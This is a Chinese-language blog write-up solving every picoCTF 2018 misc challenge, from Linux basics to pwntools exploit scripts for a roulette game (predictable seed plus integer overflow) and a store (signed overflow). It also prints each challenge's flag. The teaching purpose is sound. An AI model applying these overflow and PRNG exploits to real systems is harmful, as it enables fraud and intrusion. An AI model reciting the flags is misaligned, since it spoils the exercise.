picoCTF2018 MISC全部题解

Mads / 2018-10-18 17:47:04 / 浏览数 3920 技术文章 技术文章 顶(0) 踩(0)

---

picoCTF的题目分布由易到难，很适合新手入门，做题过程中可以学到东西。对于新手，我觉得misc题更是能引起学习兴趣的。于是我做完了picoCTF2018的misc题目，现

General Warmup 1 (150pts)

题目

If I told you your grade was 0x41 in hexadecimal, what would it be in ASCII?

> Hints:
> (1) Submit your answer in our competition's flag format. For example, if you answer was 'hello', you would submit 'picoCTF{hello}' as the flag.

题解

题目意思很明确, 并且告诉你这就是ASCII, 于是Google ASCII, 对照ASCII码表就可以解出来了。还可以用Python来解

```
print 'picoCTF{'+chr('0x41')+'}'
# picoCTF{A}
```

General Warmup 2 (50pts)

题目

Can you convert the number 27 (base 10) to binary (base 2)?

> Hints:
> (1) Submit your answer in our competition's flag format. For example, if you answer was '11111', you would submit 'picoCTF{11111}' as the flag.

题解

进制转换, 没什么多说的.

```
print 'picoCTF{'+bin(27)[2:]+'}'
# picoCTF{11011}
```

General Warmup 3 (50pts)

题目

What is 0x3D (base 16) in decimal (base 10).

> Hints:
> (1) Submit your answer in our competition's flag format. For example, if you answer was '22', you would submit 'picoCTF{22}' as the flag.

题解

进制转换.

```
print 'picoCTF{'+int('0x3D', 16)+'}'
# picoCTF{61}
```

Resources (50pts)

题目

We put together a bunch of resources to help you out on our website! If you go over there, you might even find a flag! [link [1]]
(https://picoctf.com/resources)

题解

就是观看一些介绍, 在网页中`Ctrl+F`搜索`picoCTF`, 得到flag. 也可用脚本

```
import requests, re
r = requests.get('https://picoctf.com/resources')
print re.findall(r'(picoCTF\{.*\})', r.text)[0]

# picoCTF{xiexie_ni_lai_zheli}
```

grep 1 (75pts)

题目

Can you find the flag in file [1] ? This would be really obnoxious to look through by hand, see if you can find a faster way. You can also find the file in /problems/grep-1_0_c0c0c16438cdbee39591397e16389f59 on the shell server.

> Hints:
> grep tutorial

题解

从类似这些题就可以看出, Hints给的非常充分, 你只需要具备学习能力就能做题, 而不需要足够的知识储备与脑洞能力. 这和国内的题目差别是很明显的.

直接利用sh脚本

```
cat file | grep picoCTF
# picoCTF{grep_and_you_will_find_52e63a9f}
```

net cat (75pts)

题目

Using netcat (nc) will be a necessity throughout your adventure. Can you connect to `2018shell2.picoctf.com` at port `36356` to get the flag?

> Hints:
> nc tutorial

题解

主要是学习nc的用法. 连上之后就可以看到flag.

```
nc 2018shell2.picoctf.com 36356
```

strings (100pts)

题目

Can you find the flag in this file [1] without actually running it? You can also find the file in /problems/strings_4_40d221755b4a0b134c2a7a2e825ef95f on the shell server.

> Hints:
> strings

题解

主要是熟悉linux下的`strings`工具

```
strings strings|grep pico
# picoCTF{sTrIngS_sAVeS_Time_d3ffa29c}
```

pipe (110pts)

题目

During your adventure, you will likely encounter a situation where you need to process data that you receive over the network rather than through a file. Can you find a way to save the output from this program and search for the flag? Connect with 2018shell2.picoctf.com 2015.

Hints:
(1) Remember the flag format is picoCTF{XXXX} (2) Ever heard of a pipe? No not that kind of pipe... This kind [1]

题解

熟悉linux里面管道的原理以及操作

```
nc 2018shell2.picoctf.com 2015 | grep pico
# picoCTF{almost_like_mario_8861411c}
```

grep 2 (125pts)

题目

This one is a little bit harder. Can you find the flag in /problems/grep-2_4_06c2058761f24267033e7ca6ff9d9144/files on the shell server? Remember, grep is your friend.

Hints:
grep tutorial

题解

连上题目服务器, 进入到指定文件夹之后发现有很多的文件夹, flag就藏在某个文件夹的某个文件里面, 查阅grep的文档, 发现`-r`参数可以递归探测目录.
于是在题目目录运行命令

```
grep 'pico' -r .
# ./files2/file3:picoCTF{grep_r_and_you_will_find_036bbb25}
```

得到flag.

Aca-Shell-A (150pts)

题目

It's never a bad idea to brush up on those linux skills or even learn some new ones before you set off on this adventure! Connect with nc 2018shell2.picoctf.com 6903.

Hints:
Linux for Beginners

题解

题目是一个游戏, 主要考察基本linux命令的使用.
连上之后首先输出一大段话

```
Sweet! We have gotten access into the system but we aren't root.
It's some sort of restricted shell! I can't see what you are typing
but I can see your output. I'll be here to help you along.
If you need help, type "echo 'Help Me!'" and I'll see what I can do
There is not much time left!
```

这是个很有意思的shell, 它可以根据shell的输入来执行命令, 而不是你的输入. 我们`echo 'Help Me!'`来看一下

```
You got this! Have you looked for any  directories?
```

提示看一下目录, 于是我们`ls`

```
blackmail
executables
passwords
photos
secret
```

看到五个目录, 有个`secret`目录引人注目, `cd`进入

```
Now we are cookin'! Take a look around there and tell me what you find!
```

继续`ls`

```
intel_1
intel_2
intel_3
intel_4
intel_5
profile_ahqueith5aekongieP4ahzugi
profile_ahShaighaxahMooshuP1johgo
profile_aik4hah9ilie9foru0Phoaph0
profile_AipieG5Ua9aewei5ieSoh7aph
profile_bah9Ech9oa4xaicohphahfaiG
profile_ie7sheiP7su2At2ahw6iRikoe
profile_of0Nee4laith8odaeLachoonu
profile_poh9eij4Choophaweiwev6eev
profile_poo3ipohGohThi9Cohverai7e
profile_Xei2uu5suwangohceedaifohs
Sabatoge them! Get rid of all their intel files!
```

最后一句告诉我们删掉所有的`intel`文件, 于是`rm intel*`

```
Nice! Once they are all gone, I think I can drop you a file of an exploit!
Just type "echo 'Drop it in!' " and we can give it a whirl!
```

接着按照提示`echo 'Drop it in!'`

```
I placed a file in the executables folder as it looks like the only place we can execute from!
Run the script I wrote to have a little more impact on the system!
```

按照提示`cd ..`到上层目录, 再进入`executables`目录, `./dontLookHere`运行可执行程序, 输出一大堆十六进制, 貌似是为了看起来很牛逼, 最后有一段文字是提示

```
Looking through the text above, I think I have found the password. I am just having trouble with a username.
Oh drats! They are onto us! We could get kicked out soon!
Quick! Print the username to the screen so we can close are backdoor and log into the account directly!
You have to find another way other than echo!
```

意思就是要输出用户名, 但是`echo`不能用了, 查阅Linux文档, 发现可以用`whoami`输出用户名, 于是

```
l33th4x0r
Perfect! One second!
Okay, I think I have got what we are looking for. I just need to to copy the file to a place we can read.
Try copying the file called TopSecret in tmp directory into the passwords folder.
```

按照提示, `cp /tmp/TopSecret ../passwords`

```
Server shutdown in 10 seconds...
Quick! go read the file before we lose our connection!
```

最后进入到 `passwords`目录, `cat TopSecret`得到flag

```
picoCTF{CrUsHeD_It_dddcec58}
```

environ (150pts)

题目

Sometimes you have to configure environment variables before executing a program. Can you find the flag we've hidden in an environment variable on the shell server?

> Hints:
> unix env

题解

主要是熟悉unix下的环境变量. 我们连上题目服务器后, 运行`env|grep pico|cut -d '=' -f2`, 得到flag

```
mads@pico-2018-shell-2:~$ env|grep pico|cut -d '=' -f2
picoCTF{eNv1r0nM3nT_v4r14Bl3_fL4g_3758492}
```

ssh-keyz (150pts)

题目

As nice as it is to use our webshell, sometimes its helpful to connect directly to our machine. To do so, please add your own public key to ~/.ssh/authorized_keys, using the webshell. The flag is in the ssh banner which will be displayed when you login remotely with ssh to with your username.

> Hints:
> key generation tutorial
> We also have an expert demonstrator to help you along.link

题解

基本的用私钥登录服务器的教程, 按照教程一步步做, 连上服务器就能看到flag.

一键脚本:

```
ssh mads@2018shell2.picoctf.com 'exit'|grep pico
# picoCTF{who_n33ds_p4ssw0rds_38dj21}
```

what base is this? (200pts)

题目

To be successful on your mission, you must be able read data represented in different ways, such as hexadecimal or binary. Can you get the flag from this program to prove you are ready? Connect with `nc 2018shell2.picoctf.com 15853`.

> Hints:
> (1) I hear python is a good means (among many) to convert things. (2) It might help to have multiple windows open

题解

连上之后就是给一系列的不同进制的数据, 然后按要求转换之后给答案. 我们可以用python的pwntools库与程序交互, `re`模块完成字符串查找, python本身进行进制转换, 给出一键脚本如下

```
#coding:utf-8
from pwn import *
import re
context.log_level = 'error'
sh = remote('2018shell2.picoctf.com', 15853)
msg1 = sh.recv()
t1 = re.findall('([01]{8})', msg1)
t1 = ''.join(map(lambda x:chr(int(x,2)), t1))
sh.sendline(t1)
msg2 = sh.recv()
t2 = re.findall('([0-9a-f]{8,})', msg2)
sh.sendline(t2[0].decode('hex'))
msg3 = sh.recv()
t3 = re.findall("(\d{3})", msg3)
t3 = ''.join(map(lambda x:chr(int(x, 8)), t3))
sh.sendline(t3)
print re.findall('(picoCTF{.*})', sh.recv())[0]
# picoCTF{delusions_about_finding_values_3cc386de}
```

you can't see me (200pts)

题目

'...reading transmission... Y.O.U. .C.A.N.'.T. .S.E.E. .M.E. ...transmission ended...' Maybe something lies in /problems/you-can-t-see-me_3_1a39ec6c80b3f3a18610074f68acfe69.

> Hints:
> (1) What command can see/read files? (2) What's in the manual page of ls?

题解

进入到目录之后, `ls -al`发现有隐藏文件`.`, 其实后面还有两个空白字符, 在服务器上可以用`tab`键补全就可以查看到了, 这里给个一键脚本:

```
ssh -q mads@2018shell2.picoctf.com "cat  /problems/you-can-t-see-me_3_1a39ec6c80b3f3a18610074f68acfe69/.\ \ "
```

absolutely relative (250pts)

题目

In a filesystem, everything is relative ¯_(ツ)_/¯. Can you find a way to get a flag from this program [1] ? You can find it in /problems/absolutely-relative_4_bef88c36784b44d2585bb4d2dbe074bd on the shell server. Source [2] .

Hints:
(1) Do you have to run the program in the same directory? (⊙.⊙)7 (2) Ever used a text editor? Check out the program 'nano'

题解

给了C源码

```
#include <stdio.h>
#include <string.h>

#define yes_len 3
const char *yes = "yes";

int main()
{
   char flag[99];
   char permission[10];
   int i;
   FILE * file;


   file = fopen("/problems/absolutely-relative_4_bef88c36784b44d2585bb4d2dbe074bd/flag.txt" , "r");
   if (file) {
       while (fscanf(file, "%s", flag)!=EOF)
       fclose(file);
   }

   file = fopen( "./permission.txt" , "r");
   if (file) {
       for (i = 0; i < 5; i++){
           fscanf(file, "%s", permission);
       }
       permission[5] = '\0';
       fclose(file);
   }

   if (!strncmp(permission, yes, yes_len)) {
       printf("You have the write permissions.\n%s\n", flag);
   } else {
       printf("You do not have sufficient permissions to view the flag.\n");
   }

   return 0;
}
```

程序大概就是先从一个文件读取flag, 然后再读取一个`permission.txt`文件前五个字符, 再判断读取到的permission的前三个字符是否为yes, 是的话输出flag, 不是的话提示权限不足.

我们进入服务器上题目文件夹下, `ls -al`查看文件权限

```
total 76
drwxr-xr-x   2 root       root                  4096 Sep 28 07:42 .
drwxr-x--x 576 root       root                 53248 Sep 30 03:50 ..
-rwxr-sr-x   1 hacksports absolutely-relative_4  8984 Sep 28 07:42 absolutely-relative
-rw-rw-r--   1 hacksports hacksports              796 Sep 28 07:42 absolutely-relative.c
-r--r-----   1 hacksports absolutely-relative_4    37 Sep 28 07:42 flag.txt
```

发现没有`permission.txt`文件, 并且flag文件也没法读. 根据题目提示`absolutely relative`以及注意到源码中读取`permission.txt`是通过相对路径读取的, 于是我们可以伪造`permission.txt`.

我们首先进入家目录, 把源程序拷贝过来, 创建`permission.txt`并写入`yes`, 运行`./absolutely-relative`,

```
You have the write permissions.
```

发现过了permission的判断, 但是并没有打印出flag, 我们看下权限`ls -al`

```
-rwxr-xr-x    1 mads mads   8984 Sep 28 07:42 absolutely-relative
```

发现cp过来之后ownership变成了自己, 当然是读不了`flag`. 由于这里权限不足, 就算`cp -p`也是不行的. 但是可以用软链接的形式将源程序链接到家目录, `ln -s /problems/absolutely-relative_4_bef88c36784b44d2585bb4d2dbe074bd/absolutely-relative ~/`,再运行就可以得到flag了

```
mads@pico-2018-shell-2:~$ ./absolutely-relative
You have the write permissions.
picoCTF{3v3r1ng_1$_r3l3t1v3_3b69633f}
```

in out error (275pts)

题目

Can you utlize stdin, stdout, and stderr to get the flag from this program [1] ? You can also find it in /problems/in-out-error_3_9eb10797d687f70cfce62e7c9c2bdea6 on the shell server

> Hints:
> (1) Maybe you can split the stdout and stderr output?

题解

本题考查linux的标准输出、标准错误流, 我们可以利用>将两种流重定向到其他地方, 从而分离流的内容, 得到flag.

```
echo 'Please may I have the flag?'|./in-out-error 1>/dev/null
```

发现打印出很多一样的flag

learn gdb (300pts)

题目

Using a debugging tool will be extremely useful on your missions. Can you run this program [1] in gdb and find the flag? You can find the file in /problems/learn-gdb_0_716957192e537ac769f0975c74b34194 on the shell server.

> Hints:
> (1) Try setting breakpoints in gdb (2) Try and find a point in the program after the flag has been read into memory to break on (3) Where is the flag being written in memory?

题解

主要考察gdb的基本使用. 我们先用gdb打开程序, `disassemble main`查看`main`函数的汇编代码

```
# gdb -q run
gef➤  disassemble main
Dump of assembler code for function main:
  0x00000000004008c9 <+0>: push   rbp
  0x00000000004008ca <+1>: mov    rbp,rsp
  0x00000000004008cd <+4>: sub    rsp,0x10
  0x00000000004008d1 <+8>: mov    DWORD PTR [rbp-0x4],edi
  0x00000000004008d4 <+11>:    mov    QWORD PTR [rbp-0x10],rsi
  0x00000000004008d8 <+15>:    mov    rax,QWORD PTR [rip+0x200af9]        # 0x6013d8 <stdout@@GLIBC_2.2.5>
  0x00000000004008df <+22>:    mov    ecx,0x0
  0x00000000004008e4 <+27>:    mov    edx,0x2
  0x00000000004008e9 <+32>:    mov    esi,0x0
  0x00000000004008ee <+37>:    mov    rdi,rax
  0x00000000004008f1 <+40>:    call   0x400650 <setvbuf@plt>
  0x00000000004008f6 <+45>:    mov    edi,0x4009d0
  0x00000000004008fb <+50>:    call   0x400600 <puts@plt>
  0x0000000000400900 <+55>:    mov    eax,0x0
  0x0000000000400905 <+60>:    call   0x400786 <decrypt_flag>
  0x000000000040090a <+65>:    mov    edi,0x400a08
  0x000000000040090f <+70>:    call   0x400600 <puts@plt>
  0x0000000000400914 <+75>:    mov    eax,0x0
  0x0000000000400919 <+80>:    leave
```

```
  0x0000000000040091a <+81>:    ret
End of assembler dump.
```

容易发现解密flag的函数是在`0x0000000000400905`, 我们可以在下一条指令下一个断点

```
gef➤  b *0x000000000040090a
Breakpoint 1 at 0x40090a
```

跑起来, 在断点出断下来之后, 根据题目打印信息提示获取`flag_buf`全局变量的值即可.

```
gef➤  x (char *)flag_buf
0x602260:   "picoCTF{gDb_iS_sUp3r_u53fuL_a6c61d82}"
```

roulette (350pts)

题目

This Online Roulette [1] Service is in Beta. Can you find a way to win $1,000,000,000 and get the flag? Source [2] . Connect with nc `2018shell2.picoctf.com 25443`

> Hints:
> (1) There are 2 bugs!

题解

题目是一个模拟赌场小程序, 提示有两个bug, 经过审计源代码可以发现两个bug分别是:

> 伪随机问题
> 在`main`函数发现我们的初始`cash`是通过`get_rand`函数获得的, 看一下`get_rand`

```
long get_rand() {
long seed;
FILE *f = fopen("/dev/urandom", "r");
fread(&seed, sizeof(seed), 1, f);
fclose(f);
seed = seed % 5000;
if (seed < 0) seed = seed * -1;
srand(seed); // bug1
return seed;
}
```

> 发现在获取到一个随机数之后, 直接作为随机数种子, 并且返回. 也就是说我们得到的初始`cash`就是伪随机发生器的种子,
> 这意味着我们可以知道每次要猜的值是多少.这里也给出随机数生成代码:

> 逻辑漏洞+长整型溢出
> 程序中的`get_long`函数用户获取用户输入的一个`long`数字, 并且判断有没有溢出, 看下源码:

```
long get_long() {
printf("> ");
uint64_t l = 0;
char c = 0;
while(!is_digit(c))
  c = getchar();
while(is_digit(c)) {
    // bug2
  if(l >= LONG_MAX) {
l = LONG_MAX;
break;
  }
  l *= 10;
  l += c - '0';
  c = getchar();
}
while(c != '\n')
  c = getchar();
return l;
}
```

> 乍一看好像没问题, 我们貌似没法溢出. 但仔细手模一下会发现, 判断溢出的代码写在`while`语句开头的地方, 也就是说, 我们输入的数字s,
> 只要s[:-1]转换成long没有溢出, 但是整个串还是可以溢出！因为溢出我们输入的是回车字符, 就可以直接跳出循环.

根据程序思路, 有两个要求要满足, 要`cash > ONE_BILLION`和`wins > HOTSRWAK(3)`才能拿到flag.
于是整体思路整理如下:

1. 利用伪随机赢下三次
2. 利用长整型溢出漏洞拿到flag

exp如下:

```
#coding:utf-8
import re,subprocess
from pwn import *

sh = remote('2018shell2.picoctf.com', 25443)
m1 = sh.recvuntil('> ')
balance = re.findall('\$(\d{1,4})', m1)[0]
rand = subprocess.check_output(['./rand', balance]).split('\n')
print 'round 1...'
sh.sendline('1')
sh.recvuntil('> ')
sh.sendline(rand[0])
sh.recvuntil('> ')
print 'round 2...'
sh.sendline('1')
sh.recvuntil('> ')
sh.sendline(rand[2])
sh.recvuntil('> ')
print 'round 3...'
sh.sendline('1')
sh.recvuntil('> ')
sh.sendline(rand[4])
sh.recvuntil('> ')
print 'getting flag...'
sh.sendline('3294967296')
sh.recvuntil('> ')
sh.sendline(str(int(rand[6])+1))
sh.recvuntil('flag!\n')
print sh.recv()
# picoCTF{1_h0p3_y0u_f0uNd_b0tH_bUg5_8b7aef91}
```

Store (400pts)

题目

We started a little store [1] , can you buy the flag? Source [2] . Connect with 2018shell2.picoctf.com 53220.

> Hints:
> (1) Two's compliment can do some weird things when numbers get really big!

题解

题目提示补码, 顺着题意, 题目大概就是一个模拟商店, 卖两种商品, 一个是仿制的flag, 一个1000. 一个是真flag, 需要100000. 初始金钱只有1100.
程序中有加减乘除的地方就是买假flag的地方:

```
if(auction_choice == 1){
               printf("Imitation Flags cost 1000 each, how many would you like?\n");

               int number_flags = 0;
               fflush(stdin);
               scanf("%d", &number_flags);
               if(number_flags > 0){
                   int total_cost = 0;
                   total_cost = 1000*number_flags; // ■■
                   printf("\nYour total cost is: %d\n", total_cost);
                   if(total_cost <= account_balance){
                       account_balance = account_balance - total_cost;
                       printf("\nYour new balance: %d\n\n", account_balance);
                   }
                   else{
                       printf("Not enough funds\n");
```

```
                }
            }
        }
```

程序中变量都是int型, 也就是有符号整数型, 在购买假flag时, number_flags变量乘上了1000, 这里就可能存在结果超越了有符号整数型的最大正数2147483647, 从而变成一个负数, 然后后面的语句account_balance = account_balance - total_cost;就会导致account_balance在购买了假flag之后反而变多了.
根据题意需要100000购买真flag, 我们做一下数学题.

```
account_balance - (input * 1000 - 2^32) > 100000
```

我们算出一个值, 4294868输入给number_flags即可获得flag. exp如下

```
#coding:utf-8
from pwn import *
import re

context.log_level = "error"
sh = remote("2018shell2.picoctf.com",53220)
sh.recv()
sh.sendline('2')
sh.recv()
sh.sendline('1')
sh.recv()
sh.sendline('4294868')
sh.recv()
sh.sendline('2')
sh.recv()
sh.sendline('2')
sh.recv()
sh.sendline('1')
sh.recv()
msg = sh.recv()
flag = re.findall("(picoCTF{.*})", msg)[0]
print flag # picoCTF{numb3r3_4r3nt_s4f3_cbb7151f}
```

script me (500pts)

题目

Can you understand the language and answer the questions to retrieve the flag? Connect to the service with nc 2018shell2.picoctf.com 8672

Hints:
(1) Maybe try writing a python script?

题解

这道题很有意思, 根据给出的一些计算规则, 计算复杂的组合式.

```
() + () = ()()                                    => [combine]
((())) + () = ((())())                            => [absorb-right]
() + ((())) = (()(()))                            => [absorb-left]
((())(()) + () = ((())(()()))                     => [combined-absorb-right]
() + ((())(())) = (()())(())                      => [combined-absorb-left]
((())(())) + ((()))) = ((())(()))(((())))         => [absorb-combined-right]
((()))) + ((())(())) = ((()))(()))(((())))        => [absorb-combined-left]
() + (()) + ((()))) = (()()) + ((()))) = ((()))(((()))) => [left-associative]
```

仔细观察题目可以发现, 这些计算规则无非就是结合与左右吸收, 结合就是简单连接, 左右吸收都是简单的吸收到第一个半括号内.
我们需要寻找的就是什么时候做这些操作. 也就是说, 他是根据什么来判断是该结合还是该左吸收还是右吸收. 我这里发现一个规律(当然可能并不是唯一解):
判断的原则是表达式中的括号的最大深度. 比如()深度是1, (())深度是2, (())(())深度也是2. 于是拿到一个简单的二元表达式, 计算思路是:

1. 计算两个元素s1, s2的最大深度w1, w2.
2. 如果w1==w2相等, 则直接combine, return s1+s2;
3. 如果w1>w2, 则 return s1[:-1] + s2 + s1[-1];
4. 如果w1<w2, 则 return s1[1] + s2 + s1[1:];

于是拿到一串要计算的表达式, 整体思路就是:

1. 获取各个表达式元素

2. 根据left-associative原则, 从左往右两两计算

exp如下:

```
#coding:utf-8
import sys,re
from pwn import *

def get_weight(s):
   w = 1
   wm = 1
   for i in s[1:]:
       if i == '(':
           w+=1
       else:
           w-=1
       if w>wm:
           wm = w
   return wm

def add(e1,e2):
   w1 = get_weight(e1)
   w2 = get_weight(e2)
   if w1 == w2:
       return e1+e2
   elif w1>w2:
       return e1[:-1] + e2 + e1[-1]
   else:
       return e2[0] + e1 + e2[1:]

def calc(ea):
   r = ea[0]
   for i in range(1, len(ea)):
       r = add(r, ea[i])
   return r

print 'connecting...'
sh = remote('2018shell2.picoctf.com', 8672)
sh.recvuntil('.\n')
print 'round 1...'
e = sh.recvline().split(' = ')[0]
a = calc(e.split(' + '))
sh.recvuntil('> ')
sh.sendline(a)
for i in range(4):
   print 'round '+ str(i+2) +'...'
   e = re.findall('(\([() +]+\))', sh.recvuntil('> '))[0]
   a = calc(e.split(' + '))
   sh.sendline(a)
print 'receiving flag...'
sh.recvuntil('flag')
flag = re.findall('(picoCTF{.*})', sh.recv())[0]
print flag # picoCTF{5cr1pt1nG_l1k3_4_pRo_0970eb2d}
```


上一篇：CVE-2018-3211: Ja... 下一篇：智能合约逆向初探

1. 0 条回复

- 动动手指，沙发就是你的了！

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板